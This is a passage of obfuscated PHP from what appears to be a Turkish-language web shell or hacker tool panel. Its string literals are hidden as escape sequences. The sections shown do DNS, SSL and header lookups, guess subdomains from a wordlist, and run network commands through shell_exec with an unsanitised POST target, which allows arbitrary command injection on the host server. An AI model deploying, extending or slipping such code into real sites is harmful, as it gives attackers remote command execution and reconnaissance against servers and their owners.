"\40\74\x73\160\x61\156\40\x63\154\141\163\163\x3d\42\144\151\155\x22\76\342\x86\222\74\x2f\163\160\141\x6e\x3e\x20" . ($host ? $host : "\x3c\x73\160\x61\x6e\x20\143\154\x61\163\x73\x3d\x22\x65\x72\162\x6f\x72\42\76\102\165\154\165\156\x61\155\141\x64\xc4\261\74\x2f\163\x70\x61\x6e\76") . "\x3c\57\x64\x69\x76\76"; } elseif ($type == "\x73\x73\154\x5f\x63\145\x72\x74") { $ctx = stream_context_create(array("\x73\163\154" => array("\143\141\160\164\x75\x72\145\x5f\160\145\145\162\x5f\143\x65\162\164" => true))); $stream = @stream_socket_client("\163\163\x6c\x3a\57\x2f" . $domain . "\x3a\x34\64\x33", $errno, $errstr, 5, STREAM_CLIENT_CONNECT, $ctx); if ($stream) { $cert = stream_context_get_params($stream); if (isset($cert["\x6f\160\x74\x69\x6f\156\x73"]["\x73\163\x6c"]["\x70\145\x65\162\137\x63\145\x72\164\x69\146\151\143\x61\x74\145"])) { $cert_info = openssl_x509_parse($cert["\x6f\x70\x74\x69\x6f\x6e\x73"]["\163\163\x6c"]["\x70\x65\x65\x72\137\x63\145\162\x74\x69\x66\151\143\x61\x74\x65"]); echo "\x3c\144\151\166\40\x63\154\x61\163\x73\x3d\x22\x6f\x75\164\x70\x75\x74\x2d\154\151\x6e\x65\42\x3e\x3c\163\x70\x61\156\40\x63\x6c\141\x73\163\x3d\x22\x73\165\143\x63\x65\163\x73\42\x3e\xe2\234\x85\40\x53\x53\x4c\x20\x53\x65\x72\164\151\146\x69\x6b\x61\x20\x42\x69\x6c\x67\151\154\x65\162\x69\72\74\57\163\160\141\156\76\74\x2f\x64\151\166\x3e"; echo "\74\144\151\166\40\143\154\x61\163\x73\75\x22\157\x75\164\160\165\x74\55\154\151\156\x65\x22\76\x3c\163\160\141\156\40\143\x6c\141\x73\163\x3d\x22\x64\x69\155\x22\76\103\116\x3a\x3c\x2f\x73\160\141\156\x3e\40" . ($cert_info["\163\165\142\x6a\145\x63\164"]["\103\116"] ?? "\x4e\x2f\x41") . "\x3c\x2f\144\x69\166\x3e"; echo "\x3c\144\x69\x76\x20\x63\x6c\x61\x73\163\75\x22\157\165\x74\160\x75\x74\55\x6c\151\156\x65\x22\x3e\x3c\x73\160\141\x6e\40\x63\x6c\141\x73\163\75\42\x64\151\x6d\x22\76\x4f\162\x67\x3a\x3c\57\163\160\141\x6e\76\x20" . ($cert_info["\x73\x75\142\x6a\145\x63\x74"]["\117"] ?? "\x4e\x2f\101") . "\74\x2f\x64\151\166\x3e"; echo "\x3c\x64\151\x76\x20\x63\154\x61\163\163\75\x22\157\165\x74\x70\165\x74\x2d\154\151\x6e\145\x22\x3e\x3c\x73\160\141\x6e\40\143\154\141\163\x73\75\x22\x64\x69\x6d\42\x3e\x56\145\162\x69\x6c\x65\156\x3a\74\x2f\163\x70\x61\156\x3e\x20" . date("\x59\x2d\155\x2d\144", $cert_info["\166\141\154\x69\x64\106\162\157\x6d\137\x74\151\x6d\x65\137\x74"]) . "\x3c\57\x64\x69\x76\76"; echo "\74\144\x69\166\x20\x63\x6c\x61\163\163\75\42\157\x75\x74\x70\165\164\55\x6c\x69\x6e\145\x22\76\x3c\x73\160\141\x6e\40\x63\x6c\x61\163\163\x3d\x22\x64\151\x6d\x22\x3e\107\x65\xc3\xa7\x65\162\x6c\151\72\x3c\57\x73\160\141\x6e\x3e\40" . date("\131\x2d\x6d\55\x64", $cert_info["\x76\x61\x6c\x69\x64\124\157\x5f\x74\x69\155\145\x5f\164"]) . "\74\57\144\x69\166\x3e"; $days_left = ceil(($cert_info["\166\x61\154\151\144\x54\x6f\x5f\x74\x69\x6d\145\x5f\164"] - time()) / 86400); echo "\x3c\x64\x69\166\x20\143\154\x61\x73\x73\75\42\x6f\165\164\x70\x75\164\x2d\154\x69\156\x65\x22\76\74\x73\160\141\x6e\40\143\154\x61\163\163\75\42\x64\151\155\x22\76\x4b\141\x6c\x61\156\x3a\x3c\57\163\160\x61\156\x3e\40" . $days_left . "\x20\x67\xc3\xbc\156\x3c\x2f\x64\151\x76\x3e"; } fclose($stream); } else { echo "\x3c\x64\151\166\x20\143\x6c\141\x73\x73\x3d\42\157\x75\164\x70\x75\x74\x2d\154\151\x6e\145\x22\x3e\74\x73\x70\141\156\40\x63\x6c\141\x73\x73\x3d\x22\x65\162\x72\157\162\42\76\xe2\x9d\214\x20\123\x53\x4c\40\x73\x65\162\x74\151\146\x69\x6b\x61\40\x61\154\xc4\261\156\x61\155\141\x64\304\xb1\74\x2f\x73\160\x61\x6e\76\74\x2f\144\x69\x76\x3e"; } } elseif ($type == "\x68\x65\141\144\145\162\x73") { $headers = @get_headers("\x68\164\164\160\72\57\57" . $domain, 1); if ($headers) { echo "\74\144\151\166\x20\x63\x6c\x61\163\x73\75\x22\157\165\x74\x70\165\164\55\154\151\x6e\145\x22\76\74\x73\x70\x61\156\40\x63\154\x61\163\x73\75\42\x69\156\146\x6f\42\76\360\237\223\241\40\x48\x54\124\120\40\110\x65\x61\144\145\x72\163\72\x3c\57\x73\160\141\x6e\x3e\x3c\x2f\144\151\x76\76"; foreach ($headers as $key => $val) { if (is_array($val)) { $val = implode("\x2c\40", $val); } echo "\74\x64\x69\166\40\x63\x6c\x61\163\163\75\42\x6f\165\164\x70\x75\x74\55\154\x69\156\x65\42\76\74\x73\160\x61\x6e\40\x63\154\x61\163\x73\x3d\x22\144\x69\x6d\x22\76" . $key . "\72\74\x2f\x73\160\141\156\76\x20" . $val . "\x3c\x2f\144\151\166\76"; } } else { echo "\74\x64\151\x76\x20\x63\154\141\163\x73\75\42\157\x75\164\160\x75\164\55\154\151\156\x65\x22\76\74\163\160\141\x6e\40\143\x6c\141\163\163\x3d\x22\145\162\x72\157\162\x22\x3e\xe2\235\214\x20\x48\x65\x61\x64\x65\162\163\x20\141\x6c\xc4\xb1\x6e\141\x6d\x61\x64\304\261\74\57\163\x70\x61\156\x3e\74\x2f\144\151\x76\x3e"; } } elseif (strpos($type, "\144\x6e\x73\137") === 0) { $record_type = strtoupper(str_replace("\144\x6e\x73\137", '', $type)); if ($record_type == "\x41\114\x4c") { $types = array("\x41", "\x41\101\x41\x41", "\x4d\x58", "\116\x53", "\x54\130\x54", "\103\x4e\x41\x4d\x45", "\x50\x54\122", "\123\x4f\101"); foreach ($types as $t) { $const = "\x44\116\123\x5f" . $t; if (defined($const)) { $records = @dns_get_record($domain, constant($const)); if ($records) { echo "\74\x64\151\x76\x20\x63\x6c\141\163\x73\x3d\42\157\x75\164\160\165\x74\x2d\x6c\x69\x6e\x65\x22\x3e\74\163\x70\141\156\40\143\x6c\141\x73\163\75\42\x68\151\147\150\x6c\x69\x67\150\x74\x22\76\xf0\237\x93\213\x20" . $t . "\x20\113\141\171\304\xb1\164\154\x61\x72\xc4\xb1\72\x3c\57\163\160\x61\156\76\x3c\57\x64\x69\166\76"; foreach ($records as $rec) { echo "\x3c\x64\151\166\x20\x63\154\x61\163\163\75\x22\157\x75\x74\x70\x75\164\x2d\x6c\151\x6e\x65\42\x20\163\164\171\x6c\x65\75\42\x70\141\144\x64\151\x6e\147\x2d\x6c\145\x66\164\72\x31\60\x70\x78\73\x66\x6f\156\x74\55\x73\151\x7a\145\72\x31\60\x70\170\x3b\42\x3e"; if ($t == "\115\130") { echo "\x50\x72\x69\x6f\162\151\164\171\x3a\40" . ($rec["\x70\162\151"] ?? "\116\x2f\x41") . "\40\xe2\x86\222\x20"; } echo $rec["\151\160"] ?? $rec["\164\x61\162\x67\145\x74"] ?? $rec["\164\x78\x74"] ?? $rec["\x65\x78\x63\x68\141\x6e\147\x65"] ?? $rec["\155\x6e\141\155\x65"] ?? "\x4e\57\101"; echo "\74\x2f\x64\151\x76\76"; } } } } } else { $const = "\x44\116\123\137" . $record_type; if (defined($const)) { $records = @dns_get_record($domain, constant($const)); if ($records) { echo "\74\144\x69\166\40\143\x6c\141\x73\x73\x3d\x22\x6f\x75\164\160\x75\164\x2d\154\x69\x6e\x65\x22\76\74\x73\x70\141\156\x20\143\154\141\163\163\75\x22\x68\151\147\150\x6c\151\147\x68\164\42\x3e\360\x9f\x93\213\x20" . $record_type . "\x20\113\141\171\304\xb1\x74\x6c\141\x72\304\261\72\x3c\x2f\x73\x70\x61\156\76\74\x2f\144\x69\x76\76"; foreach ($records as $rec) { echo "\74\144\x69\x76\x20\x63\154\x61\x73\163\x3d\42\x6f\x75\164\160\x75\164\55\x6c\x69\x6e\x65\x22\40\x73\x74\x79\x6c\x65\x3d\42\x70\141\x64\x64\x69\156\x67\55\x6c\145\146\x74\72\x31\60\x70\170\x3b\x22\76"; if ($record_type == "\x4d\x58") { echo "\x50\162\x69\157\162\151\164\171\x3a\40" . ($rec["\160\162\151"] ?? "\x4e\x2f\x41") . "\x20\342\206\222\40"; } echo $rec["\x69\x70"] ?? $rec["\164\141\x72\x67\x65\x74"] ?? $rec["\x74\170\x74"] ?? $rec["\145\x78\x63\150\141\x6e\x67\x65"] ?? $rec["\155\156\141\x6d\x65"] ?? "\116\x2f\101"; echo "\74\x2f\144\151\166\76"; } } else { echo "\74\144\x69\x76\x20\143\154\x61\x73\x73\x3d\42\157\165\x74\160\165\x74\x2d\154\151\x6e\145\x22\76\74\163\x70\x61\156\x20\143\x6c\x61\x73\x73\x3d\x22\x65\x72\x72\157\x72\42\x3e\342\x9d\214\x20" . $record_type . "\40\153\x61\x79\x64\304\261\x20\x62\165\x6c\x75\156\141\x6d\x61\144\304\xb1\74\57\x73\x70\141\x6e\x3e\74\x2f\x64\x69\x76\76"; } } } } ?> </div> <?php } ?> </div> <!-- ============================================================ --> <!-- 4. NETWORK DIAGNOSTICS --> <!-- ============================================================ --> <div class="tool-card"> <div class="tool-header"> <i class="fas fa-ping"></i> <h4>📡 Network Tools</h4> <span class="badge">10+ Araç</span> </div> <form method="POST" class="tool-form"> <div class="input-group"> <input type="text" name="network_target" placeholder="IP/Domain" value="8.8.8.8"> </div> <div class="input-group" style="flex-wrap:wrap;"> <select name="network_tool" style="flex:2;"> <optgroup label="🔍 Ping & Trace"> <option value="ping">Ping (4 paket)</option> <option value="ping_extended">Ping (Sürekli)</option> <option value="ping_icmp">Ping (ICMP)</option> <option value="traceroute">Traceroute</option> <option value="mtr">MTR (My TraceRoute)</option> </optgroup> <optgroup label="📊 Sistem"> <option value="netstat">Netstat</option> <option value="netstat_ports">Netstat (Portlar)</option> <option value="arp">ARP Tablosu</option> <option value="route">Routing Tablosu</option> <option value="ifconfig">Ağ Arayüzleri</option> <option value="dnsflush">DNS Cache Flush</option> </optgroup> <optgroup label="⚡ Özel"> <option value="bandwidth">Bant Genişliği</option> <option value="latency">Gecikme Testi</option> <option value="packet_loss">Paket Kaybı</option> </optgroup> </select> <button type="submit" name="tool_action" value="network_tool" class="btn-neon small"> <i class="fas fa-play"></i> </button> </div> <div class="input-group"> <input type="number" name="network_count" placeholder="Paket sayısı" value="4" style="max-width:100px;"> <input type="number" name="network_timeout" placeholder="Timeout" value="1" style="max-width:100px;"> </div> </form> <?php if (isset($_POST["\x74\x6f\x6f\x6c\x5f\141\143\164\151\157\156"]) && $_POST["\x74\157\157\154\137\141\x63\x74\151\x6f\156"] == "\156\145\164\x77\157\162\153\x5f\164\157\157\x6c") { ?> <div class="terminal-output"> <?php $target = $_POST["\x6e\x65\x74\167\x6f\x72\153\x5f\164\x61\162\x67\x65\x74"]; $tool = $_POST["\156\x65\164\167\x6f\162\x6b\137\x74\x6f\x6f\x6c"]; $count = $_POST["\x6e\145\164\167\x6f\x72\153\x5f\143\x6f\165\x6e\x74"] ?? 4; $timeout = $_POST["\156\145\164\167\x6f\162\153\137\164\x69\155\x65\x6f\165\x74"] ?? 1; echo "\74\x64\151\166\x20\143\154\x61\x73\x73\75\42\157\165\x74\160\165\164\x2d\154\x69\x6e\x65\x22\x3e\x3c\163\160\141\x6e\40\143\154\141\x73\x73\75\42\151\156\x66\x6f\42\76\360\x9f\224\204\x20" . strtoupper($tool) . "\x20\xe2\206\222\x20" . $target . "\x3c\x2f\x73\x70\141\x6e\x3e\x3c\57\144\x69\166\x3e"; $is_windows = strtoupper(substr(PHP_OS, 0, 3)) === "\x57\x49\116"; $cmd = ''; switch ($tool) { case "\160\x69\x6e\x67": $cmd = ($is_windows ? "\x70\151\x6e\x67\x20\x2d\156\x20" . $count . "\x20\x2d\x77\40" . $timeout * 1000 . "\40" : "\160\151\156\x67\40\55\x63\x20" . $count . "\x20\x2d\127\x20" . $timeout . "\40") . $target; break; case "\160\x69\156\147\137\x65\170\x74\x65\x6e\144\145\144": $cmd = ($is_windows ? "\x70\151\156\x67\40\55\x74\40" : "\x70\x69\156\x67\x20") . $target; echo "\74\x64\x69\x76\40\143\154\141\163\x73\75\42\x6f\165\164\160\x75\x74\55\154\x69\156\145\42\76\74\x73\x70\x61\x6e\40\x63\154\141\x73\x73\x3d\42\x77\141\162\x6e\x22\x3e\xe2\232\240\xef\270\x8f\x20\123\303\xbc\162\145\153\154\x69\40\160\151\x6e\147\x20\55\40\x64\165\162\x64\x75\162\155\141\153\x20\151\xc3\xa7\x69\x6e\x20\x73\141\x79\x66\141\x79\xc4\261\x20\x79\145\x6e\x69\x6c\145\171\x69\156\x3c\x2f\163\x70\141\x6e\76\74\x2f\144\151\x76\76"; break; case "\x70\x69\156\147\137\151\x63\x6d\x70": $cmd = ($is_windows ? "\160\x69\x6e\x67\x20\x2d\x6e\40" . $count . "\40\55\154\40\66\64\x20" : "\160\151\156\147\40\55\x63\x20" . $count . "\40\x2d\163\x20\x36\64\40") . $target; break; case "\164\x72\x61\143\145\162\x6f\165\x74\x65": $cmd = ($is_windows ? "\x74\162\x61\143\145\162\x74\40\x2d\x68\x20\63\x30\40" : "\x74\162\141\x63\145\162\x6f\x75\164\x65\40\55\155\40\x33\60\40") . $target; break; case "\x6d\x74\x72": $cmd = ($is_windows ? "\160\141\164\150\160\x69\x6e\147\x20\55\x6e\40\x2d\150\40\63\60\x20" : "\x6d\x74\x72\x20\55\55\162\145\x70\157\162\x74\40\x2d\x63\x20\61\x30\40") . $target; break; case "\156\x65\164\163\x74\x61\164": $cmd = $is_windows ? "\156\x65\x74\x73\x74\x61\164\40\x2d\141\x6e" : "\x6e\145\x74\163\164\x61\164\x20\x2d\164\165\154\x70\156"; break; case "\156\x65\164\x73\164\141\164\137\160\x6f\x72\x74\163": $cmd = $is_windows ? "\x6e\145\x74\163\x74\x61\x74\40\55\x61\156\40\174\x20\x66\151\x6e\x64\163\x74\x72\40\x4c\x49\123\124\x45\x4e" : "\156\145\x74\x73\x74\141\x74\x20\x2d\x74\x75\154\160\x6e\x20\174\x20\147\162\x65\160\x20\x4c\111\123\x54\x45\116"; break; case "\141\x72\160": $cmd = $is_windows ? "\141\162\x70\40\x2d\141" : "\141\162\x70\40\55\156"; break; case "\x72\x6f\165\x74\145": $cmd = $is_windows ? "\162\157\x75\164\x65\40\160\162\151\156\164" : "\x72\x6f\165\164\x65\40\55\x6e"; break; case "\151\x66\143\157\156\x66\x69\147": $cmd = $is_windows ? "\x69\x70\143\x6f\x6e\x66\x69\147\x20\57\141\154\x6c" : "\x69\146\143\x6f\x6e\146\x69\147\40\55\141"; break; case "\144\156\163\146\154\165\x73\x68": if ($is_windows) { $cmd = "\151\160\143\157\x6e\146\x69\147\x20\x2f\146\154\165\x73\150\144\156\x73"; } else { echo "\74\x64\x69\166\x20\143\x6c\141\x73\x73\75\42\157\165\x74\160\x75\164\x2d\154\151\x6e\145\x22\76\x3c\163\160\141\x6e\40\143\x6c\141\x73\x73\75\x22\167\141\162\156\x22\76\xe2\x9a\xa0\357\270\x8f\40\x4c\151\156\165\x78\x3a\40\x73\x75\x64\157\40\163\171\x73\164\x65\x6d\143\164\x6c\x20\162\145\x73\164\x61\162\x74\40\x73\x79\163\164\145\155\144\x2d\x72\x65\x73\x6f\x6c\166\145\x64\74\57\163\160\141\x6e\76\x3c\57\x64\151\x76\x3e"; echo "\74\144\x69\x76\x20\143\x6c\x61\x73\163\75\x22\157\165\164\160\x75\164\55\154\151\x6e\x65\x22\76\x3c\163\160\x61\156\40\143\154\x61\x73\163\75\42\144\x69\x6d\x22\76\166\x65\171\141\x3a\x20\x73\165\144\157\40\162\x65\163\157\x6c\x76\145\143\x74\154\40\146\154\165\163\150\55\143\x61\143\150\145\x73\74\x2f\x73\160\141\156\76\x3c\x2f\x64\151\166\76"; } break; case "\x62\141\156\144\167\x69\144\164\x68": echo "\74\144\151\x76\x20\x63\154\x61\163\x73\75\42\157\165\164\x70\x75\164\55\x6c\151\156\x65\x22\x3e\74\x73\160\141\x6e\x20\143\154\141\x73\x73\75\42\151\x6e\146\157\42\76\xf0\237\223\212\40\x42\141\156\x74\40\x47\x65\156\x69\305\x9f\x6c\151\xc4\237\x69\x20\124\x65\163\x74\x69\x3a\x3c\57\163\160\x61\x6e\76\x3c\x2f\x64\151\x76\x3e"; $start = microtime(true); $data = @file_get_contents("\x68\x74\x74\160\x3a\57\57\163\160\145\145\x64\x74\145\163\x74\x2e\x74\145\154\145\62\x2e\x6e\145\164\x2f\61\115\x42\56\172\x69\160"); $end = microtime(true); if ($data) { $size = strlen($data) / 1024 / 1024; $time = $end - $start; $speed = round($size / $time, 2); echo "\74\144\151\166\x20\x63\154\x61\163\x73\x3d\42\157\x75\164\160\x75\164\x2d\x6c\x69\156\145\42\x3e\304\xb0\156\144\151\x72\x6d\145\x3a\x20" . $size . "\x20\115\x42\x3c\57\144\151\166\x3e"; echo "\74\144\x69\166\x20\143\x6c\x61\x73\163\x3d\x22\157\165\164\160\x75\x74\x2d\x6c\151\x6e\x65\42\x3e\x53\303\xbc\x72\x65\72\40" . round($time, 2) . "\x20\163\x61\156\x69\171\145\x3c\x2f\144\x69\166\76"; echo "\74\x64\x69\x76\40\x63\154\141\163\163\x3d\x22\157\x75\164\160\165\x74\55\x6c\x69\x6e\x65\x22\x3e\74\163\160\x61\156\40\143\x6c\x61\163\x73\75\x22\x73\165\x63\143\x65\x73\163\42\x3e\xf0\237\232\x80\40\110\304\261\x7a\x3a\40" . $speed . "\40\x4d\x42\57\x73\x3c\x2f\x73\x70\141\156\x3e\x3c\57\x64\151\x76\76"; } else { echo "\74\x64\x69\x76\40\x63\154\141\163\163\75\x22\157\x75\164\x70\x75\x74\x2d\154\x69\x6e\145\42\x3e\x3c\163\x70\141\x6e\x20\143\154\x61\163\163\75\x22\145\162\162\157\162\42\x3e\342\x9d\x8c\40\x54\145\163\x74\x20\x62\x61\305\x9f\x61\x72\304\261\163\304\261\172\x3c\x2f\x73\x70\x61\156\x3e\74\57\x64\151\x76\x3e"; } break; case "\x6c\x61\164\x65\156\x63\171": echo "\x3c\144\151\166\40\x63\154\141\163\163\x3d\42\157\165\x74\160\x75\x74\x2d\x6c\x69\156\145\x22\x3e\74\x73\160\141\156\x20\x63\x6c\x61\x73\163\75\x22\x69\156\146\157\x22\x3e\xe2\217\xb1\357\270\x8f\40\x47\145\x63\x69\153\155\145\x20\124\x65\163\164\x69\x3a\x3c\x2f\x73\160\141\x6e\76\74\x2f\x64\x69\166\x3e"; $times = array(); for ($i = 0; $i < 5; $i++) { $start = microtime(true); @fsockopen($target, 80, $errno, $errstr, 1); $end = microtime(true); $times[] = round(($end - $start) * 1000); } echo "\74\x64\x69\x76\x20\x63\x6c\x61\x73\163\75\x22\157\x75\164\160\x75\164\55\x6c\151\156\145\x22\x3e\107\145\143\x69\x6b\x6d\x65\154\x65\162\x3a\x20" . implode("\155\x73\54\40", $times) . "\x6d\163\x3c\57\144\151\166\76"; echo "\x3c\144\151\x76\x20\x63\154\141\x73\x73\75\x22\x6f\165\x74\160\165\164\x2d\x6c\151\x6e\x65\x22\76\x3c\x73\160\x61\x6e\x20\143\154\141\163\x73\x3d\x22\151\156\x66\x6f\x22\76\117\x72\164\x61\x6c\141\155\141\x3a\40" . round(array_sum($times) / count($times)) . "\x6d\x73\74\x2f\x73\160\141\x6e\76\74\57\144\151\166\76"; echo "\x3c\x64\151\166\40\143\x6c\x61\163\x73\x3d\x22\157\x75\164\x70\165\164\55\x6c\151\x6e\x65\x22\76\x3c\x73\160\141\156\x20\x63\154\x61\x73\163\x3d\x22\144\151\x6d\x22\x3e\x4d\151\x6e\72\x20" . min($times) . "\x6d\163\40\174\40\x4d\141\x78\x3a\40" . max($times) . "\155\163\x3c\x2f\x73\x70\141\x6e\76\x3c\57\144\x69\x76\76"; break; case "\160\141\x63\x6b\x65\164\137\154\x6f\163\163": echo "\x3c\x64\x69\x76\x20\143\x6c\x61\x73\x73\75\42\157\x75\164\160\x75\164\x2d\154\151\156\x65\42\76\x3c\x73\160\x61\156\x20\x63\154\x61\x73\x73\x3d\x22\151\156\146\157\x22\x3e\xf0\x9f\223\212\x20\x50\141\153\145\164\x20\113\141\x79\x62\304\xb1\x20\x54\x65\163\164\151\x3a\74\x2f\x73\160\x61\156\x3e\74\x2f\x64\x69\166\76"; $lost = 0; for ($i = 0; $i < 10; $i++) { $fp = @fsockopen($target, 80, $errno, $errstr, 0.5); if (!$fp) { $lost++; } if ($fp) { fclose($fp); } } echo "\x3c\144\151\166\40\143\154\141\163\163\x3d\42\157\165\164\x70\165\164\x2d\154\x69\156\145\42\x3e\107\xc3\266\x6e\x64\x65\162\x69\x6c\x65\156\72\x20\61\x30\74\57\x64\x69\x76\76"; echo "\x3c\x64\151\x76\40\x63\x6c\141\x73\163\x3d\x22\157\165\164\x70\x75\164\x2d\154\x69\x6e\x65\42\76\x41\x6c\304\xb1\156\x61\156\72\40" . (10 - $lost) . "\74\57\144\151\166\x3e"; echo "\x3c\144\151\166\40\143\154\141\163\x73\x3d\42\157\165\x74\x70\165\x74\x2d\x6c\151\x6e\145\42\x3e\74\x73\160\x61\x6e\x20\x63\154\141\x73\163\x3d\x22" . ($lost > 3 ? "\x65\162\x72\x6f\x72" : "\x73\165\143\x63\x65\x73\x73") . "\x22\76\x4b\x61\x79\xc4\261\160\72\x20" . $lost . "\x20\x28" . $lost * 10 . "\x25\51\74\x2f\163\x70\141\156\76\x3c\x2f\x64\151\166\x3e"; break; } if ($cmd) { $output = shell_exec($cmd . "\40\62\x3e\x26\x31"); echo "\74\x70\x72\x65\40\x73\x74\171\x6c\x65\75\x22\143\157\154\x6f\x72\x3a\x23\x63\64\x62\60\x65\66\73\x66\x6f\x6e\x74\55\x73\151\172\145\72\61\x30\160\170\73\x77\x68\151\x74\x65\55\x73\160\141\x63\145\72\160\162\x65\x2d\x77\x72\x61\x70\x3b\x77\x6f\162\144\55\142\162\x65\141\x6b\72\x62\x72\145\x61\x6b\x2d\141\154\154\x3b\x6d\x61\162\x67\x69\156\72\60\x3b\x6d\x61\x78\55\x68\x65\x69\147\150\164\x3a\x32\x30\60\x70\170\x3b\157\166\145\162\146\154\157\x77\x2d\x79\72\141\165\x74\x6f\73\x22\76" . htmlspecialchars($output) . "\x3c\x2f\x70\162\145\76"; } ?> </div> <?php } ?> </div> <!-- ============================================================ --> <!-- 5. SUBDOMAIN & HOST DISCOVERY --> <!-- ============================================================ --> <div class="tool-card"> <div class="tool-header"> <i class="fas fa-sitemap"></i> <h4>🔍 Subdomain Discovery</h4> <span class="badge">Bulucu</span> </div> <form method="POST" class="tool-form"> <div class="input-group"> <input type="text" name="subdomain_target" placeholder="Domain" value="google.com"> </div> <div class="input-group"> <input type="text" name="subdomain_list" placeholder="Subdomain'ler (virgülle)" value="www,mail,ftp,admin,dev,test,api,vpn,ssh,git,blog,shop,cdn,dns"> <button type="submit" name="tool_action" value="subdomain_scan" class="btn-neon small"> <i class="fas fa-search"></i> </button> </div> <div class="input-group"> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="subdomain_resolve" value="1" checked> <span class="toggle-slider"></span> </span> IP Çözümle </label> <label class="toggle-label"> <span class="toggle-switch"> <input type="checkbox" name="subdomain_http" value="1"> <span class="toggle-slider"></span> </span> HTTP Kontrol </label> </div> </form> <?php if (isset($_POST["\x74\157\157\x6c\137\x61\x63\x74\x69\x6f\x6e"]) && $_POST["\164\157\x6f\154\x5f\x61\143\164\x69\x6f\x6e"] == "\163\x75\142\x64\x6f\x6d\x61\x69\x6e\137\x73\143\141\156") { ?> <div class="terminal-output"> <?php $domain = $_POST["\x73\165\142\144\x6f\155\x61\x69\156\x5f\164\141\162\x67\x65\x74"]; $subs = explode("\54", $_POST["\163\x75\x62\144\157\x6d\x61\151\x6e\137\154\x69\x73\x74"]); $resolve = isset($_POST["\163\x75\142\x64\157\x6d\x61\x69\x6e\x5f\x72\x65\x73\157\x6c\166\145"]); $http_check = isset($_POST["\163\x75\x62\144\157\x6d\141\151\156\x5f\150\164\164\160"]); echo "\x3c\144\151\x76\40\x63\154\x61\x73\x73\75\42\x6f\x75\164\x70\165\164\x2d\154\151\x6e\145\42\x3e\x3c\163\x70\141\156\40\143\x6c\141\163\x73\x3d\42\x69\x6e\x66\x6f\42\76\xf0\x9f\x94\215\x20" . count($subs) . "\x20\163\x75\x62\144\x6f\155\x61\x69\x6e\x20\164\x61\162\141\x6e\304\261\171\x6f\x72\x2e\x2e\x2e\74\x2f\x73\160\141\156\76\74\57\x64\151\x76\76"; $found = array(); foreach ($subs as $sub) { $sub = trim($sub); if (empty($sub)) { continue; } $host = $sub . "\x2e" . $domain; $ip = gethostbyname($host); if ($ip != $host) { $found[] = array("\150\157\163\164" => $host, "\x69\x70" => $ip); $status = "\x3c\x73\160\x61\156\40\143\x6c\141\x73\163\x3d\42\x73\x75\x63\x63\x65\x73\x73\x22\x3e\342\x9c\205\74\57\x73\x70\141\x6e\x3e"; if ($http_check) { $headers = @get_headers("\150\x74\164\x70\x3a\x2f\x2f" . $host, 1); $http_status = $headers ? strpos($headers[0], "\62\x30\60") ? "\x3c\x73\x70\141\156\40\x63\154\x61\x73\163\x3d\x22\163\x75\143\x63\x65\163\x73\42\x3e\x32\x30\x30\74\x2f\163\x70\141\156\x3e" : "\74\x73\160\141\x6e\40\143\154\x61\x73\x73\x3d\42\x77\141\162\156\42\76" . substr($headers[0], 9, 3) . "\x3c\57\x73\160\x61\x6e\x3e" : "\74\163\160\x61\x6e\40\x63\x6c\x61\163\163\x3d\42\x65\162\x72\x6f\x72\42\76\342\234\x97\74\57\x73\160\x61\x6e\x3e"; $status .= "\x20\74\x73\x70\141\x6e\40\143\x6c\x61\x73\x73\75\x22\144\x69\x6d\42\x3e\110\x54\x54\x50\72\x3c\x2f\163\160\x61\x6e\x3e\x20" . $http_status; } echo "\x3c\x64\151\166\x20\143\154\141\x73\x73\75\x22\157\x75\x74\160\165\x74\x2d\x6c\x69\156\145\x22\x3e" . $status . "\40" . $host . "\40\74\163\160\141\x6e\40\143\154\x61\x73\163\x3d\42\144\x69\x6d\42\76\342\206\222\74\x2f\x73\160\141\156\76\40" . $ip . "\74\57\144\x69\166\x3e"; } else { echo "\x3c\144\151\x76\x20\143\154\x61\163\x73\75\x22\157\165\x74\160\x75\x74\55\x6c\151\x6e\145\42\x3e\74\163\x70\141\156\40\x63\154\141\163\x73\75\42\x65\162\x72\157\162\42\x3e\342\235\x8c\74\x2f\x73\160\x61\x6e\x3e\40" . $host . "\x20\74\163\x70\x61\156\x20\x63\x6c\141\163\x73\x3d\42\144\x69\155\42\76\x28\142\x75\x6c\165\x6e\141\155\141\144\304\261\x29\x3c\x2f\x73\x70\x61\156\x3e\x3c\x2f\x64\151\166\x3e"; } } echo "\x3c\144\151\x76\40\x63\154\141\163\163\75\x22\157\x75\x74\160\x75\x74\x2d\154\151\x6e\145\x22\40\163\164\x79\154\x65\x3d\x22\x62\157\x72\144\145\x72\x2d\164\x6f\x70\72\61\160\x78\x20\163\157\x6c\x69\x64\x20\x72\147\142\141\50\x31\67\x39\x2c\x30\54\x32\65\x35\54\60\56\61\51\x3b\x6d\x61\162\x67\x69\x6e\x2d\164\x6f\x70\x3a\x35\160\x78\73\160\x61\x64\x64\151\156\147\x2d\164\x6f\x70\x3a\65\x70\x78\73\x22\x3e"; echo "\x3c\163\x70\141\156\x20\x63\154\x61\163\x73\75\42\x73\x75\143\x63\145\163\163\42\x3e\342\x9c\x85\40" . count($found) . "\x20\163\165\142\144\x6f\155\x61\x69\156\x20\x62\x75\154\x75\x6e\x64\165\x3c\57\163\160\141\156\76"; echo "\x3c\57\144\x69\166\76"; ?> </div> <?php } ?> </div> <!-- ============================================================ --> <!-- 6. TEXT PROCESSING --> <!-- ============================================================ --> <div class="tool-card"> <div class="tool-header"> <i class="fas fa-edit"></i> <h4>✏️ Text Processing</h4> <span class="badge">20+ İşlem</span> </div> <form method="POST" class="tool-form"> <div class="input-group"> <textarea name="text_input" rows="2" style="flex:1;background:rgba(0,0,0,0.5);border:1px solid rgba(179,0,255,0.15);border-radius:8px;padding:10px;color:#d4bfff;font-size:12px;resize:vertical;">Bu bir örnek metindir. Bu metin üzerinde işlemler yapılacaktır.</textarea> </div> <div class="input-group" style="flex-wrap:wrap;"> <select name="text_action" style="flex:2;"> <optgroup label="🔤 Dönüşüm"> <option value="upper">BÜYÜK HARF</option> <option value="lower">küçük harf</option> <option value="title">Başlık Formatı</option> <option value="camel">camelCase</option> <option value="snake">snake_case</option> <option value="kebab">kebab-case</option> <option value="reverse">Ters Çevir</option> </optgroup> <optgroup label="📊 Analiz"> <option value="word_count">Kelime Sayısı</option> <option value="char_count">Karakter Sayısı</option> <option value="line_count">Satır Sayısı</option> <option value="unique_words">Benzersiz Kelimeler</option> <option value="word_frequency">Kelime Frekansı</option> </optgroup> <optgroup label="🧹 Temizlik"> <option value="strip_tags">HTML Temizle</option> <option value="remove_spaces">Boşlukları Kaldır</option> <option value="remove_duplicates">Tekrarları Kaldır</option> <option 